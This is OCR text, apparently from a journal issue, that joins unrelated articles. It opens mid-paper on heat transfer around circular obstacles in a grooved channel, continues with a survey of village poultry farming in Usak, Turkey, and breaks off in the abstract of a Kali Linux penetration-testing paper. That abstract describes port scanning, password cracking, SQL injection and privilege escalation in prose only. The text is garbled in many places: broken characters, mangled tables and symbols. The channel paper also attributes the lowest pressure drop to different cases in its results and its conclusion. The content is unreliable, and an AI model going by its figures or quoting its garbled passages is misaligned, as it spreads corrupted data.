Figure 6 presented the velocity contours (a) and temperature fields (b) at Re = 8000 for
all channel flows. It was understood from Figure 6a that the location of circular obstacles has a
significant effect on the flow fields. Placing circular obstacles at the beginning of each
corrugated cavity provides better fluid contact with the corrugated channel surfaces (Case 1).
Because in Case 1, the fluid divides into two at the entrance of the corrugated cavity and moves
along the corrugated surface. The shifting of circular obstacles towards the middle of the
corrugated cavity delays the separation of the flow into two branches and causes the corrugated
surfaces to come into less contact with the fluid (Case 3). Figure 6b indicated changes of
temperature fields in the channels due to the circular obstacles. The positions of circular
obstacles greatly affected the temperature structures in the channel and on the corrugated
surfaces. It was observed that the minimum temperature gradient was in Case 1 and the

maximum temperature gradient was in Case 0.
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Figure 6. (a) Velocity contours, (b) Temperature contours at Re=8000 for all channel configurations

Figure 7a indicates the Nusselt number versus the Reynolds number for all channel cases.
The heat transfer improved with increasing Reynolds number. The all positions of the circular
obstacles remarkably increased the Nusselt number compared to duct without circular obstacles
(Case 0). The maximum heat transfer was obtained in the Case 1, followed by the Case 2 and
Case 3, respectively. At Re = 10000, the highest heat transfer was achieved to be Nu = 16.05
in the Case 1 and the lowest Nusselt number was to be Nu = 9 in the Case 0. Figure 7b
demonstrated the relative Nusselt number versus the Reynolds number. The Nusselt number
obtained in the channel flow without circular obstacles (named Case 0) was accepted as a
reference. The relative Nusselt number for all positions of the circular obstacles was obtained
to be higher than the Case 0. However, this increment for the Case 1 is to be greater. In Case 1,

heat transfer improved by 1.78 times compared to Case 0 at Re=10000.
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Figure 7. (a) Nusselt number with Re, (b) Relative Nusselt number with Re for all channel cases.

Figure 8a demonstrates the pressure drop with the Reynolds number for all channel
configurations. The pressure drop increased with Re. Because the circular obstacles block the
flow path in the channel and create resistance to flow. In Case 1, higher Nu was obtained than
in other obstacle cases because the flow contacts hot surfaces better (Fig. 7a). However, Case
1 considerably blocks the flow path. Therefore, the pressure drop increased in Case 1. The
shifting of circular obstacles towards the flow direction partially opens the flow path. For this
reason, less pressure drop was obtained in Case 3 than in Case 1. The obstacles considerably
increased the pressure drop compared to Case 0. The maximum pressure loss was found in the
Case 1, followed by the Case 2 and Case 3. At Re = 10000, the highest-pressure drop was found
to be 132.59 Pa in the Case 1 and the lowest pressure drop was to be 24.53 Pa in the Case 0. In
Figure 8b was given the friction factor with Re in all flow cases. The friction factor diminished

with Re. The friction factor of Case 3 is much less than Case 1 and Case 2. The friction factor
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was found to be higher in Case 1 than in Case 2 and Case 3 due to more obstruction of the flow
field. The highest average friction factor was obtained to be 0.213 in Case 1 at Re=2000.
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Figure 8. (a) Pressure drop versus Re, (b) Average friction factor versus Re.

Figure 9a indicates the relative friction factor with the Reynolds number for all flow
configurations. The corrugated channel without obstacles (Case 0) is considered as reference.
The relative friction factor increased with Re. The circular obstacles were increased the relative
friction factor according to Case 0. The highest relative friction factor was found to be 3.93 in
the Case 1 at Re = 10000. Figure 9b demonstrates the thermo-hydraulic performance (THP)
versus the Re. As Re increases, the performance factor decreases. Although the obstacles
increased the heat transfer, they also caused an increment in pressure loss in the duct. The best
performance value was found in the Case 2. Because the pressure drop in the Case 2 is lower
than the Case 1, and heat transfer in the Case 2 is higher than the Case 3. The highest THP was
calculated to be 1.44 in the Case 2 and at Re = 2000.
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Conclusion

The effects on hydraulic and thermal performance of different placements of circular
obstacles in a rectangular grooved channel have not been investigated to date according to the
open literature. Therefore, the work numerically evaluated the impacts of circular obstacles
with three different positions on hydrodynamic and thermal performance in a rectangular
grooved duct. The simulations were carried out for different Reynolds numbers (2000 < Re <
10000). The thermal and flow fields were obtained in the duct to observe the effects of the
circular obstacles with different positions. The important findings obtained in the work were
given below:

= The thermal and flow contours were significantly affected by the positions of the

circular obstacles and the Reynolds numbers.

= For all flow cases, the average Nusselt number increased with the Reynolds number.
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The maximum Nusselt number was obtained to be Nu = 16.05 in the Case 1 and at Re
=10000.

*  The maximum relative Nu was found to be 1.78 in the Case 1 and at Re = 10000.

= For all flow cases, as the Re increased, the average friction factor diminished. The
average friction factor of the Case 3 was obtained much less than Casel and Case 2.

= In the presence of circular obstacles, the maximum pressure drop was 132.59 Pa in
Case 1, while the lowest was 24.53 Pa in Case 3.

= For all channel configurations, as the Re increased, the thermo-hydraulic performance
decreased. The best THP was obtained to be 1.44 in the Case 2 and at Re = 2000.

Nomenclature

Dn hydraulic diameter (m) AP pressure difference (Pa)

d diameter of circular obstacles (m) u average velocity (m/s)

f friction factor w distance of circular obstacles (m)
h heat convection coefficient (W/m?2K)

H channel height (m) Greek symbols

k heat conduction coefficient (W/mK) u dynamic viscosity (kg/ms)

L channel length (m) p density of fluid (kg/m®)

Nu  Nusselt number [hD/K] v kinematic viscosity (m?/s)

Pr Prandtl number [uC/k] Subscripts

Re Reynolds number (uDn/v) d circular obstacle case

T temperature (K) 0 without circular obstacle case

THP Thermo-hydraulic performance [Nure/frei™®) rel relative
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ABSTRACT
Avrticle History: This study was carried out in order to reveal the current situation of village
Received: 04.09.2023 poultry in Usak and to determine the important problems encountered in
Accepted:10.01.2024 breeding. The material of the study consisted of 125 survey data obtained

Available online: 08.03.2024 from 25 different villages in Usak. At the end of the study, it was seen that

79.2% of the breeders were under the age of 60. 72.8% of the breeders
Keywords: stated that they preferred local breeds, and the majority of them did not use
3?31‘ | additional lighting, heating, and ventilation. The main problems are disease,
P' age poultry feed prices, lack of shelter, and marketing. Supporting the main problems

roblems . . - . -
of breeders with various support and incentive packages can contribute to

Solutions proposals ST . .
Credit support and incentive the sustainability and development of village poultry in Usak.

Usak ili K6y Tavuk¢ulugunun Genel Durumu, Sorunlari ve Coziim Onerileri

Arastirma Makalesi 0z
Makale Tarihgesi: Bu caligma, Usak, ili koy tavukculugunun mevcut durumunun ortaya
Gelis tarihi: 04.09.2023 konulmas: ve yetistiricilikte karsilagilan énemli sorunlarin tespit edilmesi

Kabul tarihi:10.01.2024

amaciyla yapilmistir. Calismanin materyalini; Usak’ta koy tavukc¢ulugunun
Online Yayinlanma:08.03.2024 via yap ; Galis Y ¥ Y cuiug

yaygin oldugu koylerde fireticilerden elde edilen 125 adet anket verileri
olusturmustur. Calisma sonunda yetistiricilerin %79.2°sinin 60 yas altinda
oldugu gorilmiistiir. Yetistiricilerin %72.8’1 yerli wklar1 tercih ettiklerini,

Anahtar Kelimeler:

Usak bliyilk ¢ogunlugu ek aydinlatma, isitma ve havalandirma kullanmadigini
Koy tavukeulugu belirtmistir. Baslica sorunlar; hastalik, yem fiyatlari, barmak yetersizligi ve
Sorunlar pazarlamadir. Cesitli destek ve tesvik paketleriyle yetistiricilerin baglica
Coziim onerileri sorunlarina destek saglanmasi Usak ilinde kdy tavukgulugunun siirdiirtilebilir
Kredi destegi ve tegvik olmasina ve gelistirilmesine katki sunabilir.
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Introduction

Hens constitute approximately 99% of the total poultry stock in Turkiye (TUIK, 2023).
The poultry sector has been one of the most successful sectors in agricultural production,
where modern breeding activities can be applied at every stage of production. Sarica and
Tiirkoglu (2004) stated that the demand for hen eggs and meat increased in parallel with the
urbanization and population growth in the 19th century, and thus the capacities and numbers
of the enterprises producing hens increased. At this point today, it has been possible to reach
advanced levels in genetics and molecular biology and to produce high-yield hybrids with
breeding research in biochemistry, microbiology, immunology, etc. The developments in the
fields of science have enabled the creation of more successful intensive production systems.
Thus, it has been possible to develop cage systems that can accommodate more animals per
unit area in poultry farming and it has become possible to develop 90% of intensive egg
poultry as cage poultry. With cage poultry, egg production has reached 300-310 per hen, and
the feed conversion ratio has been reduced to 2.1-2.3 kg. (Appleby et al., 1992; Simons, 1997
Sheldon, 2000; Sekeroglu and Aksimsek, 2009).

According to TUIK, 2022 data, the number of poultry in the regions in Tirkiye is
shown in Table 1, and the number of animals at a provincial level in the Aegean Region is
shown in Table 2. In terms of poultry, the Marmara Region ranks first with a production
exceeding 141 million, while the Aegean Region ranks second with 102 million animals. The
Marmara Region ranks first in meat poultry and accounts for 48% of the total production,
while it meets 18% in egg poultry. The Aegean Region supplies 34% of laying hens and 25%
of broilers. Approximately 45% of turkey production and 6% of total production in terms of
geese are produced in the Aegean Region.

While Afyonkarahisar ranks first with 15 million in egg poultry in the Aegean Region;
Manisa has 11 million and izmir 6.6 million animals. In broiler farming, Manisa ranks first
with 30 million units, izmir with 13 million, and Usak with 12 million units. Village poultry
farming is one of the oldest livestock activities in the world, especially in rural areas. It is also
known by different names such as family poultry, garden poultry, and extensive poultry. (inci
et al., 2015). Although the hatchability, egg, and meat yields are low and mortality rates are
high in village poultry, it is one of the indispensable livestock activities of rural areas.
Generally, the primary purpose of production is to meet the animal protein needs of the
family, to give gifts to relatives, and to contribute to the family's livelihood. The village

poultry is a means of exchange (material) or a source of income for meeting the family's
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protein needs, as well as medicine, clothing, and school needs (Inci et al., 2015). There are

some differences between village poultry and commercial poultry, especially in yield.

Table 1. Number of poultry in 2022 by regions (TUIK, 2023)

Poultry Species

Region Broiler Laying Hen Turkey Goose Duck and Guinea Total
istanbul TR1 738.000 793.596 8.986 6.552 5.825 1.552.959
West Marmara TR2 40.777.460 6.250.702 132.409 40.558 62.440 47.263.569
Aegean TR3 63.122.111 37.250.831 1.645.896 84.886 29.891 102.133.615
East Marmara TR4 78.437.668 12.809.256 916.463 53.367 43.758 92.260.512
West Anatolia TR5 11.202.319 15.463.687 54,828 38.992 46.920 26.806.746
Mediterranean TR6 29.426.956 6.330.307 62.686 40.510 52.433 35.912.892
Middle Anatolia TR7 1.486.850 6.655.441 78.512 121.132 29.749 8.371.674
West Black Sea TR8 11.892.379 8.917.462 124508 102.275 47.684 21.084.308
East Black Sea TR9 129.450 544.350 2.516 10.253 2.162 688.731
Northeast Anatolia TRA 852.764 1.481.206 117.562 690.692 34.301 3.176.525
Middle East Anatolia TRB 12.319.076 3.411.991 126.791 92.447 29.697 15.980.002
Southeast Anatolia TRC 904.766 9.897.498 398.579 103.843 47.597 11.352.283
Total 251.289.799 109.806.327 3.669.726 1.385.507 432.457 366.583.816
Table 2. Number of poultry for 2022 at the provincial level in the Aegean Region (TUIK, 2023)
Poultry Species
Laying Duck %

Provinces Broiler Hen Turkey Goose Guinea fowl Total

Afyonkarahisar 389.500 14.915.331 41.014 21.407 6.995 15.374.247

Aydin 2.112.260 779.476 24.785 3.032 2472 2.922.025

Denizli 4.670.186 1.560.157 64.503 5.537 3.039 6.303.422

izmir 13.210.816 6.644.436 525.798 4,041 3.055 20.388.146

Kiitahya 402.000 1.328.194 80.360 33.539 5.292 1.849.385

Manisa 30.361.070  11.278.055 876.216 2.680 1.624 42.519.645

Mugla 0" 516.650 17.126 2.338 4226 540.340

Usak 11.976.279 228.532 16.094 12.312 3.188 12.236.405

Total 63.122.111  37.250.831 1.645.896 84.886 29.891 102.133.615

“It was announced as “0” by TUIK.
In the village poultry; It can be said that it is advantageous compared to commercial

poultry in that it does not require special equipment for housing, feeding costs, and labor

requirements are low. In addition, its other advantages are that it has a low-fatty preferred

texture in terms of meat quality features and - it has less impact on the environment.
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The main disadvantages of village poultry are; animals remain not immune to diseases
due to low levels of health and protection measures. This situation causes high losses and low
productivity (Alders and Spradbrow, 2001; Alders and Pym, 2009; Sekeroglu and Sarica,
2010).

Although there are negative situations mentioned, village poultry maintains its
importance among important alternative livestock activities for rural areas. In Tirkiye, village
poultry is generally done with traditional methods. Either without any additional feeding, the
animal is allowed to roam to meet its own nutritional needs (feeding with small animals such
as grazing, insects, worms, etc., food-bread scraps) or additionally, it is fed with grain feeds
such as wheat, barley, corn, and factory feed. In Turkiye, the average number of animals
varies between 1-10 in traditional village poultry, 10-50 in developed village poultry and 50-
200 in intensive village poultry. Hen meat and eggs produced in traditional village poultry are
consumed within the family, and women are generally responsible for the care of the animals.
Advanced village poultry is carried out by certain families in rural areas, all family members
can take care of the animals, and additional income is provided by selling surplus
consumption. In semi-intensive village poultry, on the other hand, since the number of
animals is high, the care of animals requires additional labor, is carried out as a commercial
activity, and is carried out by some families in rural areas. We can summarize the other
differences in these three production methods in Table 3. (Riise er al., 2004; Giingordii, 2009;
Sekeroglu and Sarica, 2010).

Table 3. Differences between traditional village poultry, advanced village poultry, and semi-intensive
village poultry (TUIK, 2023)

Traditional village poultry Advanced village poultry Semi-intensive village poultry
-Domestic races -Domestic race and culture race  -Hybrids

-High mortality -Medium -Low

-No additional feding -Free-roaming + additional feed  -Supplementary feeding as needed
-No vaccination -Vaccination against Newcastle -A few vaccinations against illnesses
-No use treatment for diseases -Rarely treatment -Complete treatment

-No cage for housing -Simple structure cage -With litter floor or cage system
-Egg yield 30-50 pieces egg/hen  -50-150 pieces egg/hen -250-300 pieces egg/hen

-Weight gain 5-10 g/day -10-20 g/day -50-55 g/day

Many studies on village poultry have been carried out in different regions and provinces
in Tirkiye before (Yurt, 2002; Giingordii, 2009; Sekeroglu and Aksimsek, 2009; Bayraktar,
2012; Eleroglu et al., 2014; Inci et al., 2015; Inci et al., 2018; Inci et al., 2019; Inci et al.,
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2020). Table 4 shows the presence of poultry for the last 5 years at the district level of Usak
province, which was prepared by utilizing the data announced by TUIK between the years
2018-2022.

Table 4. Number of poultry in Usak province between 2018-2022 (TUIK, 2023)

Poultry Species

Laying Duck & Rate of Change
Districts Years Broiler Hen Turkey Goose Guinea fowl Total +/- %
2018 119.000 12.500 2.400 2.750 350 137.000 -
2019 119.000 13.100 2.850 3.000 390 138.340 0.98
Banaz 2020 119.001 145.730 6.156 7.162 771 278.820 101.55
2021 119.000 112.950 2,513 4.664 450 239.577 -14.07
2022 164.000 28.816 6.900 3.385 350 203.451 -15.08
2018 6.883.286 218.000 220 110 900 7.102.516 -
2019 6.850.000 20.000 380 140 780 6.871.300 -3.26
Esme 2020 7.635.000 32.650 380 160 450 7.668.640 11.60
2021 7.635.002 30.501 0" 120 320 7.665.943 -0.4
2022 7.308.159 45.730 12 0" 0 7.353.901 -4.07
2018 30.500 30.000 220 210 235 61.165 -
2019 30.500 27.000 250 180 175 58.105 -5.00
Karahalli 2020 30.500 78.000 650 407 348 109.905 89.15
2021 119.000 16.200 440 156 256 136.052 23.79
2022 119.000 6.620 56 202 23 125.901 -7.46
2018 1.975.368 69.246 1.500 5.000 1.500 2.052.614 -
2019 1.975.368 69.246 1.500 5.000 1.500 2.052.614 0
Merkez 2020 2.195.154 2.551.543 12.761 14.656 5.821 4.779.935 132.87
2021 1.439.353 105.064 11.400 13.180 3.640 1.572.637 -67.10
2022 2.414.810 90.106 8.041 8.285 2.730 2.523.972 60.49
2018 973.700 10.400 725 530 250 985.605 -
2019 983.500 10.350 739 515 275 995.379 0.99
Sivaslt 2020 519.501 26.034 680 512 198 546.925 -45.05
2021 1.124.960 21.125 640 415 158 1.147.298 109.77
2022 1.413.910 21.200 740 440 85 1.436.375 25.20
2018 432.400 9.600 650 250 200 443.100 -
2019 483.156 20.000 640 105 20 503.921 13.73
Ulubey 2020 502.157 533.300 1.270 299 67 1.037.093 105.80
2021 412.590 21.750 520 130 0 434.990 -58.06
2022 556.400 36.060 345 0 0 592.805 36,28

“It was announced as “0” by TUIK.

Usak meets 19% of the region and approximately 5% of the total production with its
production approaching 12 million in meat poultry production. More than 60% of broiler

breeding is carried out in the Esme district throughout the province. Laying hen breeding
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shows a balanced distribution at the district level. Banaz and Merkez districts counties
occurred to stand out in turkey and goose production.

This study, it is aimed to determine the structure and general situation of village poultry
in Usak and to present solutions to the problems by determining the problems faced by the

breeders.

Material ve Method

Ethic Committee

This study was conducted within the scope of the decision of Usak University Scientific
Research and Publication Ethics Committee (protocol code: 2023/04-23 and date: 07 June
2023).

Material

The material of the study consisted of questionnaire data filled in face-to-face
interviews with 125 producers in 25 villages in 6 districts of Usak. Before the questionnaire
forms were filled, the producers were informed about the questionnaire questions and the
study, and after the consent process, the questionnaire questions were answered. After the
study area was determined at the district level from the 2022 TUIK data, information about
the poultry activities at the village level was collected with the support of the Usak Provincial
Directorate of Agriculture. Belonging to the breeders who participated in the survey;
questions were asked about the determination of socio-demographic and socio-economic
characteristics, reasons for village poultry breeding, livestock activities, characteristics,
diseases seen in chickens, treatment application status, precautions and losses, and

information was collected from farmers about village poultry in Usak.

Method

The questionnaire forms used in the study were prepared by making use of the
previously arranged questionnaires on zootechnics and agricultural management. While
determining the sample size of the study, a grouped one-stage random probability sampling
method based on population ratios was used (Inci, et al., 2020). In determining the sample
size, the following formula, which was used in limited societies as reported by Karasar
(1994), was used. Accordingly, it has been determined that a survey should be conducted with

125 farmers in Usak with equality. In Usak, 10 villages of the central district and 3 villages in
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Banaz, Ulubey, Sivasli, Karahalli, and Esme were reached, and face-to-face survey questions

were answered with a total of 125 breeders.

Formula

n=(z 2 *N*p*q)/(N*d 2 +z 2 *p*Qq)

n: Sample volume

z: “z” table value corresponding to 95% significance level

N: Number of main masses

p: The probability of occurrence of the investigated event in the main mass is taken as 50%
g: The probability that the investigated event will not occur (1-p)

d: Accepted margin of error (In this study, margin of error was taken as 5%)

Statistical analyzes

The study, it is aimed to present the village poultry activities carried out in Usak, the
demographic structure and educational status of the breeders, the problems related to the
sector, and the solutions to the problems encountered. The data of the study were evaluated in

the SPSS 16.0 package program and expressed as descriptive statistics and percentage values.

Result and Discussion

The socio-demographic characteristics of the breeders who participated in the survey in
the study area are shown in Table 5. 57.6% of the breeders participating in the survey were
male, 42.4% were female, 87.2% were married, and 83.2% of them declared their profession
as farmers. The priority order of the breeders in agricultural activities was 48% field
agriculture, 38.4% horticultural agriculture, and 9.4% animal husbandry. In a study conducted
in Batman, it was reported that 52.6% of the breeders were engaged in field agriculture
(Giingordii, 2009). In previous studies, it was reported that 75.7% in Bingdl, 84.9% in Mus,
84% and 24% in Diyarbakir and Tekirdag were male, respectively (Demirulus et al., 2013;
Inci et al., 2015; Inci et al., 2020). Inci et al., (2020) stated in their study in Mus that 87.5% of
the breeders are married and 49.3% are free-employed, while Bural (2015) states that 59.5%
of the breeders in Bing6l are farmers declared that.

Considering the age distribution, it was seen that the rate of breeders under the age of 60
was 79.2%, which gives hope for the development and sustainability of village poultry in
Usak. It has been reported that 68% of the breeders in Diyarbakir and Bingdl are under the
age of 50, and the average age is 44.09 in Mus (Inci et al., 2015; Inci et al., 2019; inci et al.,
2020). In terms of education level, it was determined that 67.2% of the breeders were primary
school graduates, and 80.8% of the households consisted of 1-6 people. While it was reported

that 73.2% of them were primary school graduates in Batman, it was stated in the studies
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conducted by Mus and Bingol that most of the breeders were illiterate (Giingordii, 2009;
Bural, 2015; Inci et al., 2020).

32.8% of the breeders’ state that poultry, 27.2% sheep, and 20% cattle make up a large
part of the animal's existence. Among the poultry, the hen took first place with 61.6%, while
the rate of geese was 28%. While 78.4% of the breeders preferred laying hens, it was
determined that 72.0% of the breeders stated that they were breeding to meet the family's
needs. While 17.6% stated that the products produced were given as gifts, 12% stated that
they sold them. 42.4% of the farmers stated that they obtained 100-150 eggs in a year, and
67.2% of them stated that they obtained meat between 1-5 Kkg.

Table 5. Socio-demographic characteristics of breeders

Family N.F. Family Number of Family

Age (n) (%) Education (n) N.F. (%) individuals (n) N.F. (%)
18-39 15 12.0 Iliterate 2 1.6 1-3 32 256
40-59 84 67.2 Primary 84 67.2 4-6 69 55.2
60-80 23 184 Secondary 19 15.2 >7 24 19.2
>80 3 24 High 15 12.0

University 5 4.0
Gender  Family N.F. Marital status Family  N.F. (%) Job Family  N.F. (%)
Man 72 57.6 Married 109 87.2 Farmer 104 83.2
Woman 53 42.4 Single 16 12.8 Retired 13 104
- - Self-employment 8 6.4
Total 125 100 - 125 100 - 125 100

n: Number of families surveyed, N.F: Relative frequency

The business characteristics of the breeders participating in the survey are shown in
Table 6. At the end of the study; Most of the breeders prefer native breeds (72.8%) and obtain
their animals through natural hatching (67.2%). The results of the study were found to be in
harmony with the study conducted by Bayraktar (2012) in Artvin. In the study conducted in
Tokat, 96.3% of the breeders, 74.9% in Bingol, and 68% in Batman stated that they obtained
it by natural hatching, and the findings of the study were similar to the study carried out in
Batman (Aksimsek, 2008; Giingdrdii, 2009; Inci et al., 2015). It was determined that men
(79.2%) played a role in the construction of the shelter and women (82.4%) in the animal
maintenance, the animals were generally kept together, and the soil was preferred in terms of
roaming areas. The results of the study were found to be partially different from the study
conducted in Batman, in harmony with the study conducted in Mus (Giingdrdii, 2009; Inci et
al., 2020). While more than half of the breeders preferred plate-type feeders and drinkers in

the poultry houses, the rate of those who stated that they did not use feeders and drinkers was
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34.4% and 26.4%, respectively. The nesting-box usage rate is around 74.4%. Most of the
growers stated that they do not use additional lighting (78.4%), heating (84.0%), and
ventilation (91.2%). While the cleaning of the shelters was carried out on a weekly basis
(68.0%), the rate of those who stated that they applied disinfection to the henhouses was
64.8%. It has been observed that the findings obtained as a result of the study are in harmony
with many studies and differ partially from some of them (Giingdrdii, 2009; Inci et al., 2015;
Inci et al., 2020).

Tablo 6. General characteristics of village poultry enterprises

Breeding Family N.F.(%) Animal supply Family N.F. (%) Shelter Family N.F.
race (n) (n) making (n) (%)
Domestic 91 72.8 Market + neighbor 28 224 Mother 11 8.8
Culture 13 10.4 Natural hatching 84 67.2 Father 99 79.2
Mixed flock 21 16.8 Market + hatching 13 10.4 All family 15 12.0
Roaming Family Family Family N.F.
area (n) N.F. (%)  Shelter type (n) N.F. (%) Disinfection (n) (%)
None 24 19.2 Separate cage 32 25.6 Not applicable 44 35.2
Soil 70 56.0 Single cage 93 74.4 Lime 1 a year 38 304
Concrete 31 24.8 - Lime 2 a year 33 26.4
- Other methods 10 8.0

Care Family N.F.(%) Manger Type Family N.F.(%) Drinker type Family N.F.
(n) (n) (n) (%)

Mother 103 82.4 None 43 34.4 None 33 26.4
Father 12 9.6 Plate type 67 53.6 Plate type 72 57.6
Kids 10 8.0 Nipple type 15 12.0 Nipple type 20 16.0
Additional Family N.F. (%) Additional Family N.F.(%) Additional Family N.F.
lighting (n) lighting (n) ventilation (n) (%)
None 98 78.4 None 105 84.0 None 114 91.2
Auvailable 27 21.6 Auvailable 20 26.0 Auvailable 11 8.8
Total 125 100 - 125 100 - 125 100

n: Number of families surveyed, N.F: Relative frequency

The feeds used by the breeders in feeding, feeding time, diseases seen in chickens,
precautions, and mortality rates are shown in Table 7. It was observed that mixed feeding
consisting mostly of grain feeds and bread-meal residues was adopted (60.8%) and the rate of
those who stated that they fed the animals morning and evening was 71.2%. In previous
studies, the proportion of those who used mixed feeding was 73.4% in Mus, 36% in Batman,
and 34.3% in Tokat, while in the study conducted in Sivas, 89.9% of the breeders stated that
they used the most wheat in feeding (Gilingordi, 2009; Sekeroglu and Aksimsek, 2009;
Eleroglu et al., 2014; inci et al., 2020).
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Almost all of the breeders in Mus and Bingo6l stated that they do the feeding process
twice a day, morning and evening, and the findings of the study differed partially from these
two studies (Inci et al., 2015; Inci et al., 2020). While the incidence of disease in animals was
79.2%, diarrhea and Newcastle disease were the most common diseases with 48.5% and
33.3%. 67.2% of the breeders stated that they could not take any precautions and that the
diseases increased mostly in the winter-autumn periods. After the diseases, 60.8% of the
breeders stated that less than half of the herd was dead. In the study conducted by inci et al.
(2020) in Mus, 81.7% of the breeders stated that animals had diseases. 27.5% of breeders
suffered from diarrhea and 22% of them suffered from viral diseases. In the related study,
49.5% of the breeders reported the highest incidence of disease in winter, 29.4% in autumn,
and 56% reported that more than half of the animals were dead.

In the study conducted in Bing6l, the rate of those who stated that all animals died was
53.2%, while 8.3% stated that less than half of them died, and the study findings were
different from the two studies (Inci et al., 2015). In the studies carried out in Tokat, while
Aksimsek (2008) stated that 86.3% of the breeders applied a treatment method against
diseases, Sekeroglu and Aksimsek (2009) reported that all breeders could not make any
vaccine to protect chickens. Giingordii (2009) stated that 62.9% of the breeders in Batman,
and Inci et al., (2015) 75% of the breeders in Bingdl could not take any precautions against
diseases. It was observed that the study findings were between the values found in these two

studies.

Table 7. Nutrition of hens, diseases observed, precautions taken and mortality rate

Preferred feed Family N.F.  Feeding time Family  N.F. (%) Seen diseases Family  N.F. (%)

(n) (%) (n) (n)
Wheat 25 20.0  Morning 18 144 Diarrhea 48 48.5
Maize 12 9.6 Night 13 104 Newcastle 33 333
Barley 8 6.4 Morning-night 89 71.2 Cholera 8 8.1
Mixed 76 60.8  Tree meals 5 4.0 colibacilli 7 7.1
Industrial feed 4 3.2 - Hen pox 3 3.0
Family N.F.  Periods of Family Post-illness Family
Taken measures (n) (%)  illness (n) N.F. (%) death (n) N.F. (%)
None 84 67.2  Winter 74 59.2 Less than half 76 60.8
Antibiotic 25 20.0  Spring 13 104 Half 34 27.2
Drug-vaccine 16 12.8  Summer 7 5.6 Whole herd 15 12.0
Autumn 31 24.8

n: Number of families surveyed, N.F: Relative frequency
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The opinions of the breeders about the problems experienced in village poultry and
village poultry are shown in Table 8. The breeders stated that the meat and eggs they obtained
were not sufficient for them and that they obtained the rest of their needs from the markets.
While 84% of them declared that they did not receive any training during breeding, the rate of
those who stated that the training provided would not be sufficient was 68.8%. While diseases
and feed prices were the first two problems with 51.2% and 30.4%, the inadequacy of shelters
and marketing were reported as other problems. The findings of the study were found to be in

agreement with the study conducted by Inci et al., (2020) in Mus.

Table 8. Opinions of breeders about village poultry

Egg-meat Family N.F. Education Family N.F.  Basic issues Family N.F.
adequacy (n) (%) support status (n) (%) (n) (%)
Sufficient 33 26.4 No 105 84.0  lliness 64 51.2
Market 92 73.6 Agriculture Dep. 15 12.0  Feed prices 38 304
University 5 4.0 Shelter problem 13 10.4

Marketing 10 8.0

n: Number of families surveyed, N.F: Relative frequency

Conclusion

Usak is an important province of the Aegean Region that draws attention, especially to
meat poultry production in terms of the presence of poultry. According to TUIK 2022 data,
with broiler production approaching 12 million, it meets 19% of the region and approximately
5% of the total production. It is also the 3rd province after Kiitahya and Afyonkarahisar in
goose production and is suitable for poultry breeding. Besides commercial poultry farming,
village poultry farming is one of the important alternative livestock activities traditionally
carried out by farmers. Almost all of the breeders stated that they do village poultry farming
to meet their egg needs and that the demand for backyard hen eggs is high and they earn
additional income, especially today when the concept of organic eggs has become
widespread. While the majority of breeders complained about diseases and feed prices,
insufficient shelter was one of the major problems. They also reported that they had problems
in the sale of the products or that they could not sell them at their worth, and that they also
received complaints that the animals harmed the agricultural products of their neighbors.

In light of the information obtained from the study, the following suggestions for

sustainable village poultry farming in Usak can contribute to the solution of the problems.
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As in Tirkiye, village poultry farming is carried out by women in Usak. Especially
"Usak University, Usak Provincial and District Directorates of Agriculture" should
organize various seminars and training courses on disease, care, and feeding.

A cooperation protocol should be arranged between the Municipality and the
Provincial Directorate of Agriculture in order to deliver the products obtained to the
primary consumer without any loss of value. Sales places should be provided to
breeders to sell their products comfortably. This situation may increase the demand for
village poultry and may lead to the transformation of village poultry from traditional
village poultry to advanced village poultry in a short time, and then to intensive village
poultry.

Adequate level of veterinarians and health personnel should be employed within the
body of the Provincial Directorate of Agriculture. By providing vaccine and treatment
support, infectious diseases can be prevented before they turn into epidemics.

It should be ensured that breeders are organized with cooperative-like formations, and
they should be encouraged to act together to quickly solve common problems.
Incentive packages should be prepared for the sustainability of village poultry in the
annual budgets of the state, and the applications to be made through the Provincial

Directorates of Agriculture and village headmen should be announced to the farmers.

There are a limited number of research and project proposals on the structure, problems,

and sustainability of village poultry in Tirkiye. The development of village poultry can

provide opportunities to increase the family economy and welfare level of the rural

population. Thus, when the intensive village poultry production model is adopted, the number

of organic eggs and hen meat will increase and it will also contribute to the country's

economy.
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Siber giivenligin saglanmasinda Kali Linux ve sundugu sizma araglarinin
sunucu sistemlerine yonelik penetrasyon testlerinde kullanimi 6nemlidir. Bu
caligmada, test ortami olarak Linux Ubuntu isletim sistemi ve iizerinde
calisan bir web sunucusu kullanilmustir. Test ortaminda, Kali Linux
tizerindeki sizma araglar1 kullanilarak yapilan tiim tarama ve sizma islemleri
gerceklestirilmistir. Oncelikle, hedef sistem iizerindeki acik portlar1 tespit
etmek igin port taramasi uygulanmstir. Tarama ile sistemdeki aktif servisler
ve servislerin ¢aligtig1 portlar belirlenmistir. Sonraki adimda, kullanict ad1 ve
parola kombinasyonlarinin bir listesi kullanilarak oturum ag¢ma bilgilerini
elde etmek hedeflenmistir. Sozliik saldirisi ile parola kirma islemi
yapilmistir. Boylelikle, zayif parolalarin kullanildigi hesaplarin belirlenmesi
gerceklestirilmigtir.  Calisma  kapsaminda  ayrica, SQL  saldirisi
gerceklestirilerek hedef sistemin veritabanina yetkisiz erisim saglanmistir.
Saldir1 yontemiyle giivenlik agiklarimin oldugu web uygulamalar1 hedef
aliarak veritabanina sizma girisiminde bulunulmustur. Veritabanina erigim
saglandiktan sonra hassas verilere erisilmis ve veriler manipiile edilmistir.
Son olarak, yetki yiikseltme iglemi gergeklestirilerek hedef sistemin tam
kontroliiniin ele gecirilmesi saglanmistir. Sistemdeki zayif yapilandirmalar,
giivenlik aciklari  veya yetkilendirme hatalarmin  tespit edilmesi
hedeflenmistir. Sonug olarak, Kali Linux ve sizma testi araglarmin sunucu
sistemlerindeki giivenlik aciklarini tespit etmek ve gidermek i¢in 6nemli bir
arag¢ oldugu gosterilmektedir. Caligmanin sonuglari, Kali Linux ve sizma
testi araglarinin giiglii yeteneklerini ve potansiyel giivenlik agiklarini ortaya
cikarmada etkinligini gostermektedir. Boylelikle, sistem yoneticileri benzer
araglar1 kullanarak yonettikleri sistemleri test ederek giivenlik agiklarimi
tespit edebilir ve gerekli onlemleri alabilirler. Bu caligmada, bu 6nemin
aciklanmast  ve olusturulan deneysel test ortaminda gosterilmesi
hedeflenmektedir.

Using Kali Linux and Infiltration Tools in Cyber Security

Research Article

ABSTRACT

Article History:

Received: 21.07.2023
Accepted:06.12.2023
Available online: 08.03.2024

Keywords:
Cyber security

It is important to use Kali Linux and the penetration tools that it offers in
penetration tests for server systems to ensure cyber security. For this purpose,
Linux Ubuntu operating system and a web server running on it are used as
test environment. In this test environment, all scans and penetrations are
